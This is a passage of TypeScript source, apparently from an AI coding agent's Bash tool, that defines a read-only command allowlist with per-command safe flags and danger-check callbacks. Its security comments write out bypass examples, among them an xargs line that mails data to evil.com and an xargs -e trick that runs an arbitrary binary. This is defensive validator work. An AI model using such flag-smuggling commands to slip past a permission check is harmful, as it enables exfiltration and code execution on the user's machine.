1991 lines
67 KiB
TypeScript
1991 lines
67 KiB
TypeScript
import type { z } from 'zod/v4'
|
|
import { getOriginalCwd } from '../../bootstrap/state.js'
|
|
import {
|
|
extractOutputRedirections,
|
|
splitCommand_DEPRECATED,
|
|
} from '../../utils/bash/commands.js'
|
|
import { tryParseShellCommand } from '../../utils/bash/shellQuote.js'
|
|
import { getCwd } from '../../utils/cwd.js'
|
|
import { isCurrentDirectoryBareGitRepo } from '../../utils/git.js'
|
|
import type { PermissionResult } from '../../utils/permissions/PermissionResult.js'
|
|
import { getPlatform } from '../../utils/platform.js'
|
|
import { SandboxManager } from '../../utils/sandbox/sandbox-adapter.js'
|
|
import {
|
|
containsVulnerableUncPath,
|
|
DOCKER_READ_ONLY_COMMANDS,
|
|
EXTERNAL_READONLY_COMMANDS,
|
|
type FlagArgType,
|
|
GH_READ_ONLY_COMMANDS,
|
|
GIT_READ_ONLY_COMMANDS,
|
|
PYRIGHT_READ_ONLY_COMMANDS,
|
|
RIPGREP_READ_ONLY_COMMANDS,
|
|
validateFlags,
|
|
} from '../../utils/shell/readOnlyCommandValidation.js'
|
|
import type { BashTool } from './BashTool.js'
|
|
import { isNormalizedGitCommand } from './bashPermissions.js'
|
|
import { bashCommandIsSafe_DEPRECATED } from './bashSecurity.js'
|
|
import {
|
|
COMMAND_OPERATION_TYPE,
|
|
PATH_EXTRACTORS,
|
|
type PathCommand,
|
|
} from './pathValidation.js'
|
|
import { sedCommandIsAllowedByAllowlist } from './sedValidation.js'
|
|
|
|
// Unified command validation configuration system
|
|
type CommandConfig = {
|
|
// A Record mapping from the command (e.g. `xargs` or `git diff`) to its safe flags and the values they accept
|
|
safeFlags: Record<string, FlagArgType>
|
|
// An optional regex that is used for additional validation beyond flag parsing
|
|
regex?: RegExp
|
|
// An optional callback for additional custom validation logic. Returns true if the command is dangerous,
|
|
// false if it appears to be safe. Meant to be used in conjunction with the safeFlags-based validation.
|
|
additionalCommandIsDangerousCallback?: (
|
|
rawCommand: string,
|
|
args: string[],
|
|
) => boolean
|
|
// When false, the tool does NOT respect POSIX `--` end-of-options.
|
|
// validateFlags will continue checking flags after `--` instead of breaking.
|
|
// Default: true (most tools respect `--`).
|
|
respectsDoubleDash?: boolean
|
|
}
|
|
|
|
// Shared safe flags for fd and fdfind (Debian/Ubuntu package name)
|
|
// SECURITY: -x/--exec and -X/--exec-batch are deliberately excluded —
|
|
// they execute arbitrary commands for each search result.
|
|
const FD_SAFE_FLAGS: Record<string, FlagArgType> = {
|
|
'-h': 'none',
|
|
'--help': 'none',
|
|
'-V': 'none',
|
|
'--version': 'none',
|
|
'-H': 'none',
|
|
'--hidden': 'none',
|
|
'-I': 'none',
|
|
'--no-ignore': 'none',
|
|
'--no-ignore-vcs': 'none',
|
|
'--no-ignore-parent': 'none',
|
|
'-s': 'none',
|
|
'--case-sensitive': 'none',
|
|
'-i': 'none',
|
|
'--ignore-case': 'none',
|
|
'-g': 'none',
|
|
'--glob': 'none',
|
|
'--regex': 'none',
|
|
'-F': 'none',
|
|
'--fixed-strings': 'none',
|
|
'-a': 'none',
|
|
'--absolute-path': 'none',
|
|
// SECURITY: -l/--list-details EXCLUDED — internally executes `ls` as subprocess (same
|
|
// pathway as --exec-batch). PATH hijacking risk if malicious `ls` is on PATH.
|
|
'-L': 'none',
|
|
'--follow': 'none',
|
|
'-p': 'none',
|
|
'--full-path': 'none',
|
|
'-0': 'none',
|
|
'--print0': 'none',
|
|
'-d': 'number',
|
|
'--max-depth': 'number',
|
|
'--min-depth': 'number',
|
|
'--exact-depth': 'number',
|
|
'-t': 'string',
|
|
'--type': 'string',
|
|
'-e': 'string',
|
|
'--extension': 'string',
|
|
'-S': 'string',
|
|
'--size': 'string',
|
|
'--changed-within': 'string',
|
|
'--changed-before': 'string',
|
|
'-o': 'string',
|
|
'--owner': 'string',
|
|
'-E': 'string',
|
|
'--exclude': 'string',
|
|
'--ignore-file': 'string',
|
|
'-c': 'string',
|
|
'--color': 'string',
|
|
'-j': 'number',
|
|
'--threads': 'number',
|
|
'--max-buffer-time': 'string',
|
|
'--max-results': 'number',
|
|
'-1': 'none',
|
|
'-q': 'none',
|
|
'--quiet': 'none',
|
|
'--show-errors': 'none',
|
|
'--strip-cwd-prefix': 'none',
|
|
'--one-file-system': 'none',
|
|
'--prune': 'none',
|
|
'--search-path': 'string',
|
|
'--base-directory': 'string',
|
|
'--path-separator': 'string',
|
|
'--batch-size': 'number',
|
|
'--no-require-git': 'none',
|
|
'--hyperlink': 'string',
|
|
'--and': 'string',
|
|
'--format': 'string',
|
|
}
|
|
|
|
// Central configuration for allowlist-based command validation
|
|
// All commands and flags here should only allow reading files. They should not
|
|
// allow writing to files, executing code, or creating network requests.
|
|
const COMMAND_ALLOWLIST: Record<string, CommandConfig> = {
|
|
xargs: {
|
|
safeFlags: {
|
|
'-I': '{}',
|
|
// SECURITY: `-i` and `-e` (lowercase) REMOVED — both use GNU getopt
|
|
// optional-attached-arg semantics (`i::`, `e::`). The arg MUST be
|
|
// attached (`-iX`, `-eX`); space-separated (`-i X`, `-e X`) means the
|
|
// flag takes NO arg and `X` becomes the next positional (target command).
|
|
//
|
|
// `-i` (`i::` — optional replace-str):
|
|
// echo /usr/sbin/sendm | xargs -it tail a@evil.com
|
|
// validator: -it bundle (both 'none') OK, tail ∈ SAFE_TARGET → break
|
|
// GNU: -i replace-str=t, tail → /usr/sbin/sendmail → NETWORK EXFIL
|
|
//
|
|
// `-e` (`e::` — optional eof-str):
|
|
// cat data | xargs -e EOF echo foo
|
|
// validator: -e consumes 'EOF' as arg (type 'EOF'), echo ∈ SAFE_TARGET
|
|
// GNU: -e no attached arg → no eof-str, 'EOF' is the TARGET COMMAND
|
|
// → executes binary named EOF from PATH → CODE EXEC (malicious repo)
|
|
//
|
|
// Use uppercase `-I {}` (mandatory arg) and `-E EOF` (POSIX, mandatory
|
|
// arg) instead — both validator and xargs agree on argument consumption.
|
|
// `-i`/`-e` are deprecated (GNU: "use -I instead" / "use -E instead").
|
|
'-n': 'number',
|
|
'-P': 'number',
|
|
'-L': 'number',
|
|
'-s': 'number',
|
|
'-E': 'EOF', // POSIX, MANDATORY separate arg — validator & xargs agree
|
|
'-0': 'none',
|
|
'-t': 'none',
|
|
'-r': 'none',
|
|
'-x': 'none',
|
|
'-d': 'char',
|
|
},
|
|
},
|
|
// All git read-only commands from shared validation map
|
|
...GIT_READ_ONLY_COMMANDS,
|
|
file: {
|
|
safeFlags: {
|
|
// Output format flags
|
|
'--brief': 'none',
|
|
'-b': 'none',
|
|
'--mime': 'none',
|
|
'-i': 'none',
|
|
'--mime-type': 'none',
|
|
'--mime-encoding': 'none',
|
|
'--apple': 'none',
|
|
// Behavior flags
|
|
'--check-encoding': 'none',
|
|
'-c': 'none',
|
|
'--exclude': 'string',
|
|
'--exclude-quiet': 'string',
|
|
'--print0': 'none',
|
|
'-0': 'none',
|
|
'-f': 'string',
|
|
'-F': 'string',
|
|
'--separator': 'string',
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
'-v': 'none',
|
|
// Following/dereferencing
|
|
'--no-dereference': 'none',
|
|
'-h': 'none',
|
|
'--dereference': 'none',
|
|
'-L': 'none',
|
|
// Magic file options (safe when just reading)
|
|
'--magic-file': 'string',
|
|
'-m': 'string',
|
|
// Other safe options
|
|
'--keep-going': 'none',
|
|
'-k': 'none',
|
|
'--list': 'none',
|
|
'-l': 'none',
|
|
'--no-buffer': 'none',
|
|
'-n': 'none',
|
|
'--preserve-date': 'none',
|
|
'-p': 'none',
|
|
'--raw': 'none',
|
|
'-r': 'none',
|
|
'-s': 'none',
|
|
'--special-files': 'none',
|
|
// Uncompress flag for archives
|
|
'--uncompress': 'none',
|
|
'-z': 'none',
|
|
},
|
|
},
|
|
sed: {
|
|
safeFlags: {
|
|
// Expression flags
|
|
'--expression': 'string',
|
|
'-e': 'string',
|
|
// Output control
|
|
'--quiet': 'none',
|
|
'--silent': 'none',
|
|
'-n': 'none',
|
|
// Extended regex
|
|
'--regexp-extended': 'none',
|
|
'-r': 'none',
|
|
'--posix': 'none',
|
|
'-E': 'none',
|
|
// Line handling
|
|
'--line-length': 'number',
|
|
'-l': 'number',
|
|
'--zero-terminated': 'none',
|
|
'-z': 'none',
|
|
'--separate': 'none',
|
|
'-s': 'none',
|
|
'--unbuffered': 'none',
|
|
'-u': 'none',
|
|
// Debugging/help
|
|
'--debug': 'none',
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
additionalCommandIsDangerousCallback: (
|
|
rawCommand: string,
|
|
_args: string[],
|
|
) => !sedCommandIsAllowedByAllowlist(rawCommand),
|
|
},
|
|
sort: {
|
|
safeFlags: {
|
|
// Sorting options
|
|
'--ignore-leading-blanks': 'none',
|
|
'-b': 'none',
|
|
'--dictionary-order': 'none',
|
|
'-d': 'none',
|
|
'--ignore-case': 'none',
|
|
'-f': 'none',
|
|
'--general-numeric-sort': 'none',
|
|
'-g': 'none',
|
|
'--human-numeric-sort': 'none',
|
|
'-h': 'none',
|
|
'--ignore-nonprinting': 'none',
|
|
'-i': 'none',
|
|
'--month-sort': 'none',
|
|
'-M': 'none',
|
|
'--numeric-sort': 'none',
|
|
'-n': 'none',
|
|
'--random-sort': 'none',
|
|
'-R': 'none',
|
|
'--reverse': 'none',
|
|
'-r': 'none',
|
|
'--sort': 'string',
|
|
'--stable': 'none',
|
|
'-s': 'none',
|
|
'--unique': 'none',
|
|
'-u': 'none',
|
|
'--version-sort': 'none',
|
|
'-V': 'none',
|
|
'--zero-terminated': 'none',
|
|
'-z': 'none',
|
|
// Key specifications
|
|
'--key': 'string',
|
|
'-k': 'string',
|
|
'--field-separator': 'string',
|
|
'-t': 'string',
|
|
// Checking
|
|
'--check': 'none',
|
|
'-c': 'none',
|
|
'--check-char-order': 'none',
|
|
'-C': 'none',
|
|
// Merging
|
|
'--merge': 'none',
|
|
'-m': 'none',
|
|
// Buffer size
|
|
'--buffer-size': 'string',
|
|
'-S': 'string',
|
|
// Parallel processing
|
|
'--parallel': 'number',
|
|
// Batch size
|
|
'--batch-size': 'number',
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
man: {
|
|
safeFlags: {
|
|
// Safe display options
|
|
'-a': 'none', // Display all manual pages
|
|
'--all': 'none', // Same as -a
|
|
'-d': 'none', // Debug mode
|
|
'-f': 'none', // Emulate whatis
|
|
'--whatis': 'none', // Same as -f
|
|
'-h': 'none', // Help
|
|
'-k': 'none', // Emulate apropos
|
|
'--apropos': 'none', // Same as -k
|
|
'-l': 'string', // Local file (safe for reading, Linux only)
|
|
'-w': 'none', // Display location instead of content
|
|
|
|
// Safe formatting options
|
|
'-S': 'string', // Restrict manual sections
|
|
'-s': 'string', // Same as -S for whatis/apropos mode
|
|
},
|
|
},
|
|
// help command - only allow bash builtin help flags to prevent attacks when
|
|
// help is aliased to man (e.g., in oh-my-zsh common-aliases plugin).
|
|
// man's -P flag allows arbitrary command execution via pager.
|
|
help: {
|
|
safeFlags: {
|
|
'-d': 'none', // Output short description for each topic
|
|
'-m': 'none', // Display usage in pseudo-manpage format
|
|
'-s': 'none', // Output only a short usage synopsis
|
|
},
|
|
},
|
|
netstat: {
|
|
safeFlags: {
|
|
// Safe display options
|
|
'-a': 'none', // Show all sockets
|
|
'-L': 'none', // Show listen queue sizes
|
|
'-l': 'none', // Print full IPv6 address
|
|
'-n': 'none', // Show network addresses as numbers
|
|
|
|
// Safe filtering options
|
|
'-f': 'string', // Address family (inet, inet6, unix, vsock)
|
|
|
|
// Safe interface options
|
|
'-g': 'none', // Show multicast group membership
|
|
'-i': 'none', // Show interface state
|
|
'-I': 'string', // Specific interface
|
|
|
|
// Safe statistics options
|
|
'-s': 'none', // Show per-protocol statistics
|
|
|
|
// Safe routing options
|
|
'-r': 'none', // Show routing tables
|
|
|
|
// Safe mbuf options
|
|
'-m': 'none', // Show memory management statistics
|
|
|
|
// Safe other options
|
|
'-v': 'none', // Increase verbosity
|
|
},
|
|
},
|
|
ps: {
|
|
safeFlags: {
|
|
// UNIX-style process selection (these are safe)
|
|
'-e': 'none', // Select all processes
|
|
'-A': 'none', // Select all processes (same as -e)
|
|
'-a': 'none', // Select all with tty except session leaders
|
|
'-d': 'none', // Select all except session leaders
|
|
'-N': 'none', // Negate selection
|
|
'--deselect': 'none',
|
|
|
|
// UNIX-style output format (safe, doesn't show env)
|
|
'-f': 'none', // Full format
|
|
'-F': 'none', // Extra full format
|
|
'-l': 'none', // Long format
|
|
'-j': 'none', // Jobs format
|
|
'-y': 'none', // Don't show flags
|
|
|
|
// Output modifiers (safe ones)
|
|
'-w': 'none', // Wide output
|
|
'-ww': 'none', // Unlimited width
|
|
'--width': 'number',
|
|
'-c': 'none', // Show scheduler info
|
|
'-H': 'none', // Show process hierarchy
|
|
'--forest': 'none',
|
|
'--headers': 'none',
|
|
'--no-headers': 'none',
|
|
'-n': 'string', // Set namelist file
|
|
'--sort': 'string',
|
|
|
|
// Thread display
|
|
'-L': 'none', // Show threads
|
|
'-T': 'none', // Show threads
|
|
'-m': 'none', // Show threads after processes
|
|
|
|
// Process selection by criteria
|
|
'-C': 'string', // By command name
|
|
'-G': 'string', // By real group ID
|
|
'-g': 'string', // By session or effective group
|
|
'-p': 'string', // By PID
|
|
'--pid': 'string',
|
|
'-q': 'string', // Quick mode by PID
|
|
'--quick-pid': 'string',
|
|
'-s': 'string', // By session ID
|
|
'--sid': 'string',
|
|
'-t': 'string', // By tty
|
|
'--tty': 'string',
|
|
'-U': 'string', // By real user ID
|
|
'-u': 'string', // By effective user ID
|
|
'--user': 'string',
|
|
|
|
// Help/version
|
|
'--help': 'none',
|
|
'--info': 'none',
|
|
'-V': 'none',
|
|
'--version': 'none',
|
|
},
|
|
// Block BSD-style 'e' modifier which shows environment variables
|
|
// BSD options are letter-only tokens without a leading dash
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// Check for BSD-style 'e' in letter-only tokens (not -e which is UNIX-style)
|
|
// A BSD-style option is a token of only letters (no leading dash) containing 'e'
|
|
return args.some(
|
|
a => !a.startsWith('-') && /^[a-zA-Z]*e[a-zA-Z]*$/.test(a),
|
|
)
|
|
},
|
|
},
|
|
base64: {
|
|
respectsDoubleDash: false, // macOS base64 does not respect POSIX --
|
|
safeFlags: {
|
|
// Safe decode options
|
|
'-d': 'none', // Decode
|
|
'-D': 'none', // Decode (macOS)
|
|
'--decode': 'none', // Decode
|
|
|
|
// Safe formatting options
|
|
'-b': 'number', // Break lines at num (macOS)
|
|
'--break': 'number', // Break lines at num (macOS)
|
|
'-w': 'number', // Wrap lines at COLS (Linux)
|
|
'--wrap': 'number', // Wrap lines at COLS (Linux)
|
|
|
|
// Safe input options (read from file, not write)
|
|
'-i': 'string', // Input file (safe for reading)
|
|
'--input': 'string', // Input file (safe for reading)
|
|
|
|
// Safe misc options
|
|
'--ignore-garbage': 'none', // Ignore non-alphabet chars when decoding (Linux)
|
|
'-h': 'none', // Help
|
|
'--help': 'none', // Help
|
|
'--version': 'none', // Version
|
|
},
|
|
},
|
|
grep: {
|
|
safeFlags: {
|
|
// Pattern flags
|
|
'-e': 'string', // Pattern
|
|
'--regexp': 'string',
|
|
'-f': 'string', // File with patterns
|
|
'--file': 'string',
|
|
'-F': 'none', // Fixed strings
|
|
'--fixed-strings': 'none',
|
|
'-G': 'none', // Basic regexp (default)
|
|
'--basic-regexp': 'none',
|
|
'-E': 'none', // Extended regexp
|
|
'--extended-regexp': 'none',
|
|
'-P': 'none', // Perl regexp
|
|
'--perl-regexp': 'none',
|
|
|
|
// Matching control
|
|
'-i': 'none', // Ignore case
|
|
'--ignore-case': 'none',
|
|
'--no-ignore-case': 'none',
|
|
'-v': 'none', // Invert match
|
|
'--invert-match': 'none',
|
|
'-w': 'none', // Word regexp
|
|
'--word-regexp': 'none',
|
|
'-x': 'none', // Line regexp
|
|
'--line-regexp': 'none',
|
|
|
|
// Output control
|
|
'-c': 'none', // Count
|
|
'--count': 'none',
|
|
'--color': 'string',
|
|
'--colour': 'string',
|
|
'-L': 'none', // Files without match
|
|
'--files-without-match': 'none',
|
|
'-l': 'none', // Files with matches
|
|
'--files-with-matches': 'none',
|
|
'-m': 'number', // Max count
|
|
'--max-count': 'number',
|
|
'-o': 'none', // Only matching
|
|
'--only-matching': 'none',
|
|
'-q': 'none', // Quiet
|
|
'--quiet': 'none',
|
|
'--silent': 'none',
|
|
'-s': 'none', // No messages
|
|
'--no-messages': 'none',
|
|
|
|
// Output line prefix
|
|
'-b': 'none', // Byte offset
|
|
'--byte-offset': 'none',
|
|
'-H': 'none', // With filename
|
|
'--with-filename': 'none',
|
|
'-h': 'none', // No filename
|
|
'--no-filename': 'none',
|
|
'--label': 'string',
|
|
'-n': 'none', // Line number
|
|
'--line-number': 'none',
|
|
'-T': 'none', // Initial tab
|
|
'--initial-tab': 'none',
|
|
'-u': 'none', // Unix byte offsets
|
|
'--unix-byte-offsets': 'none',
|
|
'-Z': 'none', // Null after filename
|
|
'--null': 'none',
|
|
'-z': 'none', // Null data
|
|
'--null-data': 'none',
|
|
|
|
// Context control
|
|
'-A': 'number', // After context
|
|
'--after-context': 'number',
|
|
'-B': 'number', // Before context
|
|
'--before-context': 'number',
|
|
'-C': 'number', // Context
|
|
'--context': 'number',
|
|
'--group-separator': 'string',
|
|
'--no-group-separator': 'none',
|
|
|
|
// File and directory selection
|
|
'-a': 'none', // Text (process binary as text)
|
|
'--text': 'none',
|
|
'--binary-files': 'string',
|
|
'-D': 'string', // Devices
|
|
'--devices': 'string',
|
|
'-d': 'string', // Directories
|
|
'--directories': 'string',
|
|
'--exclude': 'string',
|
|
'--exclude-from': 'string',
|
|
'--exclude-dir': 'string',
|
|
'--include': 'string',
|
|
'-r': 'none', // Recursive
|
|
'--recursive': 'none',
|
|
'-R': 'none', // Dereference-recursive
|
|
'--dereference-recursive': 'none',
|
|
|
|
// Other options
|
|
'--line-buffered': 'none',
|
|
'-U': 'none', // Binary
|
|
'--binary': 'none',
|
|
|
|
// Help and version
|
|
'--help': 'none',
|
|
'-V': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
...RIPGREP_READ_ONLY_COMMANDS,
|
|
// Checksum commands - these only read files and compute/verify hashes
|
|
// All flags are safe as they only affect output format or verification behavior
|
|
sha256sum: {
|
|
safeFlags: {
|
|
// Mode flags
|
|
'-b': 'none', // Binary mode
|
|
'--binary': 'none',
|
|
'-t': 'none', // Text mode
|
|
'--text': 'none',
|
|
|
|
// Check/verify flags
|
|
'-c': 'none', // Verify checksums from file
|
|
'--check': 'none',
|
|
'--ignore-missing': 'none', // Ignore missing files during check
|
|
'--quiet': 'none', // Quiet mode during check
|
|
'--status': 'none', // Don't output, exit code shows success
|
|
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
|
'-w': 'none', // Warn about improperly formatted lines
|
|
'--warn': 'none',
|
|
|
|
// Output format flags
|
|
'--tag': 'none', // BSD-style output
|
|
'-z': 'none', // End output lines with NUL
|
|
'--zero': 'none',
|
|
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
sha1sum: {
|
|
safeFlags: {
|
|
// Mode flags
|
|
'-b': 'none', // Binary mode
|
|
'--binary': 'none',
|
|
'-t': 'none', // Text mode
|
|
'--text': 'none',
|
|
|
|
// Check/verify flags
|
|
'-c': 'none', // Verify checksums from file
|
|
'--check': 'none',
|
|
'--ignore-missing': 'none', // Ignore missing files during check
|
|
'--quiet': 'none', // Quiet mode during check
|
|
'--status': 'none', // Don't output, exit code shows success
|
|
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
|
'-w': 'none', // Warn about improperly formatted lines
|
|
'--warn': 'none',
|
|
|
|
// Output format flags
|
|
'--tag': 'none', // BSD-style output
|
|
'-z': 'none', // End output lines with NUL
|
|
'--zero': 'none',
|
|
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
md5sum: {
|
|
safeFlags: {
|
|
// Mode flags
|
|
'-b': 'none', // Binary mode
|
|
'--binary': 'none',
|
|
'-t': 'none', // Text mode
|
|
'--text': 'none',
|
|
|
|
// Check/verify flags
|
|
'-c': 'none', // Verify checksums from file
|
|
'--check': 'none',
|
|
'--ignore-missing': 'none', // Ignore missing files during check
|
|
'--quiet': 'none', // Quiet mode during check
|
|
'--status': 'none', // Don't output, exit code shows success
|
|
'--strict': 'none', // Exit non-zero for improperly formatted lines
|
|
'-w': 'none', // Warn about improperly formatted lines
|
|
'--warn': 'none',
|
|
|
|
// Output format flags
|
|
'--tag': 'none', // BSD-style output
|
|
'-z': 'none', // End output lines with NUL
|
|
'--zero': 'none',
|
|
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
// tree command - moved from READONLY_COMMAND_REGEXES to allow flags and path arguments
|
|
// -o/--output writes to a file, so it's excluded. All other flags are display/filter options.
|
|
tree: {
|
|
safeFlags: {
|
|
// Listing options
|
|
'-a': 'none', // All files
|
|
'-d': 'none', // Directories only
|
|
'-l': 'none', // Follow symlinks
|
|
'-f': 'none', // Full path prefix
|
|
'-x': 'none', // Stay on current filesystem
|
|
'-L': 'number', // Max depth
|
|
// SECURITY: -R REMOVED. tree -R combined with -H (HTML mode) and -L (depth)
|
|
// WRITES 00Tree.html files to every subdirectory at the depth boundary.
|
|
// From man tree (< 2.1.0): "-R — at each of them execute tree again
|
|
// adding `-o 00Tree.html` as a new option." The comment "Rerun at max
|
|
// depth" was misleading — the "rerun" includes a hardcoded -o file write.
|
|
// `tree -R -H . -L 2 /path` → writes /path/<subdir>/00Tree.html for each
|
|
// subdir at depth 2. FILE WRITE, zero permissions.
|
|
'-P': 'string', // Include pattern
|
|
'-I': 'string', // Exclude pattern
|
|
'--gitignore': 'none',
|
|
'--gitfile': 'string',
|
|
'--ignore-case': 'none',
|
|
'--matchdirs': 'none',
|
|
'--metafirst': 'none',
|
|
'--prune': 'none',
|
|
'--info': 'none',
|
|
'--infofile': 'string',
|
|
'--noreport': 'none',
|
|
'--charset': 'string',
|
|
'--filelimit': 'number',
|
|
// File display options
|
|
'-q': 'none', // Non-printable as ?
|
|
'-N': 'none', // Non-printable as-is
|
|
'-Q': 'none', // Quote filenames
|
|
'-p': 'none', // Protections
|
|
'-u': 'none', // Owner
|
|
'-g': 'none', // Group
|
|
'-s': 'none', // Size bytes
|
|
'-h': 'none', // Human-readable sizes
|
|
'--si': 'none',
|
|
'--du': 'none',
|
|
'-D': 'none', // Last modification time
|
|
'--timefmt': 'string',
|
|
'-F': 'none', // Append indicator
|
|
'--inodes': 'none',
|
|
'--device': 'none',
|
|
// Sorting options
|
|
'-v': 'none', // Version sort
|
|
'-t': 'none', // Sort by mtime
|
|
'-c': 'none', // Sort by ctime
|
|
'-U': 'none', // Unsorted
|
|
'-r': 'none', // Reverse sort
|
|
'--dirsfirst': 'none',
|
|
'--filesfirst': 'none',
|
|
'--sort': 'string',
|
|
// Graphics/output options
|
|
'-i': 'none', // No indentation lines
|
|
'-A': 'none', // ANSI line graphics
|
|
'-S': 'none', // CP437 line graphics
|
|
'-n': 'none', // No color
|
|
'-C': 'none', // Color
|
|
'-X': 'none', // XML output
|
|
'-J': 'none', // JSON output
|
|
'-H': 'string', // HTML output with base HREF
|
|
'--nolinks': 'none',
|
|
'--hintro': 'string',
|
|
'--houtro': 'string',
|
|
'-T': 'string', // HTML title
|
|
'--hyperlink': 'none',
|
|
'--scheme': 'string',
|
|
'--authority': 'string',
|
|
// Input options (read from file, not write)
|
|
'--fromfile': 'none',
|
|
'--fromtabfile': 'none',
|
|
'--fflinks': 'none',
|
|
// Help and version
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
},
|
|
// date command - moved from READONLY_COMMANDS because -s/--set can set system time
|
|
// Also -f/--file can be used to read dates from file and set time
|
|
// We only allow safe display options
|
|
date: {
|
|
safeFlags: {
|
|
// Display options (safe - don't modify system time)
|
|
'-d': 'string', // --date=STRING - display time described by STRING
|
|
'--date': 'string',
|
|
'-r': 'string', // --reference=FILE - display file's modification time
|
|
'--reference': 'string',
|
|
'-u': 'none', // --utc - use UTC
|
|
'--utc': 'none',
|
|
'--universal': 'none',
|
|
// Output format options
|
|
'-I': 'none', // --iso-8601 (can have optional argument, but none type handles bare flag)
|
|
'--iso-8601': 'string',
|
|
'-R': 'none', // --rfc-email
|
|
'--rfc-email': 'none',
|
|
'--rfc-3339': 'string',
|
|
// Debug/help
|
|
'--debug': 'none',
|
|
'--help': 'none',
|
|
'--version': 'none',
|
|
},
|
|
// Dangerous flags NOT included (blocked by omission):
|
|
// -s / --set - sets system time
|
|
// -f / --file - reads dates from file (can be used to set time in batch)
|
|
// CRITICAL: date positional args in format MMDDhhmm[[CC]YY][.ss] set system time
|
|
// Use callback to verify positional args start with + (format strings like +"%Y-%m-%d")
|
|
additionalCommandIsDangerousCallback: (
|
|
_rawCommand: string,
|
|
args: string[],
|
|
) => {
|
|
// args are already parsed tokens after "date"
|
|
// Flags that require an argument
|
|
const flagsWithArgs = new Set([
|
|
'-d',
|
|
'--date',
|
|
'-r',
|
|
'--reference',
|
|
'--iso-8601',
|
|
'--rfc-3339',
|
|
])
|
|
let i = 0
|
|
while (i < args.length) {
|
|
const token = args[i]!
|
|
// Skip flags and their arguments
|
|
if (token.startsWith('--') && token.includes('=')) {
|
|
// Long flag with =value, already consumed
|
|
i++
|
|
} else if (token.startsWith('-')) {
|
|
// Flag - check if it takes an argument
|
|
if (flagsWithArgs.has(token)) {
|
|
i += 2 // Skip flag and its argument
|
|
} else {
|
|
i++ // Just skip the flag
|
|
}
|
|
} else {
|
|
// Positional argument - must start with + for format strings
|
|
// Anything else (like MMDDhhmm) could set system time
|
|
if (!token.startsWith('+')) {
|
|
return true // Dangerous
|
|
}
|
|
i++
|
|
}
|
|
}
|
|
return false // Safe
|
|
},
|
|
},
|
|
// hostname command - moved from READONLY_COMMANDS because positional args set hostname
|
|
// Also -F/--file sets hostname from file, -b/--boot sets default hostname
|
|
// We only allow safe display options and BLOCK any positional arguments
|
|
hostname: {
|
|
safeFlags: {
|
|
// Display options only (safe)
|
|
'-f': 'none', // --fqdn - display FQDN
|
|
'--fqdn': 'none',
|
|
'--long': 'none',
|
|
'-s': 'none', // --short - display short name
|
|
'--short': 'none',
|
|
'-i': 'none', // --ip-address
|
|
'--ip-address': 'none',
|
|
'-I': 'none', // --all-ip-addresses
|
|
'--all-ip-addresses': 'none',
|
|
'-a': 'none', // --alias
|
|
'--alias': 'none',
|
|
'-d': 'none', // --domain
|
|
'--domain': 'none',
|
|
'-A': 'none', // --all-fqdns
|
|
'--all-fqdns': 'none',
|
|
'-v': 'none', // --verbose
|
|
'--verbose': 'none',
|
|
'-h': 'none', // --help
|
|
'--help': 'none',
|
|
'-V': 'none', // --version
|
|
'--version': 'none',
|
|
},
|
|
// CRITICAL: Block any positional arguments - they set the hostname
|
|
// Also block -F/--file, -b/--boot, -y/--yp/--nis (not in safeFlags = blocked)
|
|
// Use regex to ensure no positional args after flags
|
|
regex: /^hostname(?:\s+(?:-[a-zA-Z]|--[a-zA-Z-]+))*\s*$/,
|
|
},
|
|
// info command - moved from READONLY_COMMANDS because -o/--output writes to files
|
|
// Also --dribble writes keystrokes to file, --init-file loads custom config
|
|
// We only allow safe display/navigation options
|
|
info: {
|
|
safeFlags: {
|
|
// Navigation/display options (safe)
|
|
'-f': 'string', // --file - specify manual file to read
|
|
'--file': 'string',
|
|
'-d': 'string', // --directory - search path
|
|
'--directory': 'string',
|
|
'-n': 'string', // --node - specify node
|
|
'--node': 'string',
|
|
'-a': 'none', // --all
|
|
'--all': 'none',
|
|
'-k': 'string', // --apropos - search
|
|
'--apropos': 'string',
|
|
'-w': 'none', // --where - show location
|
|
'--where': 'none',
|
|
'--location': 'none',
|
|
'--show-options': 'none',
|
|
'--vi-keys': 'none',
|
|
'--subnodes': 'none',
|
|
'-h': 'none',
|
|
'--help': 'none',
|
|
'--usage': 'none',
|
|
'--version': 'none',
|
|
},
|
|
// Dangerous flags NOT included (blocked by omission):
|
|
// -o / --output - writes output to file
|
|
// --dribble - records keystrokes to file
|
|
// --init-file - loads custom config (potential code execution)
|
|
// --restore - replays keystrokes from file
|
|
},
|
|
|
|
lsof: {
|
|
safeFlags: {
|
|
'-?': 'none',
|
|
'-h': 'none',
|
|
'-v': 'none',
|
|
'-a': 'none',
|
|
'-b': 'none',
|
|
'-C': 'none',
|
|
'-l': 'none',
|
|
'-n': 'none',
|
|
'-N': 'none',
|
|
'-O': 'none',
|
|
'-P': 'none',
|
|
'-Q': 'none',
|
|
'-R': 'none',
|
|
'-t': 'none',
|
|
'-U': 'none',
|
|
'-V': 'none',
|
|
'-X': 'none',
|
|
'-H': 'none',
|
|
'-E': 'none',
|
|
'-F': 'none',
|
|
'-g': 'none',
|
|
'-i': 'none',
|
|
'-K': 'none',
|
|
'-L': 'none',
|
|
'-o': 'none',
|
|
'-r': 'none',
|
|
'-s': 'none',
|
|
'-S': 'none',
|
|
'-T': 'none',
|
|
'-x': 'none',
|
|
'-A': 'string',
|
|
'-c': 'string',
|
|
'-d': 'string',
|
|
'-e': 'string',
|
|
'-k': 'string',
|
|
'-p': 'string',
|
|
'-u': 'string',
|
|
// OMITTED (writes to disk): -D (device cache file build/update)
|
|
},
|
|
// Block +m (create mount supplement file) — writes to disk.
|
|
// +prefix flags are treated as positional args by validateFlags,
|
|
// so we must catch them here. lsof accepts +m<path> (attached path, no space)
|
|
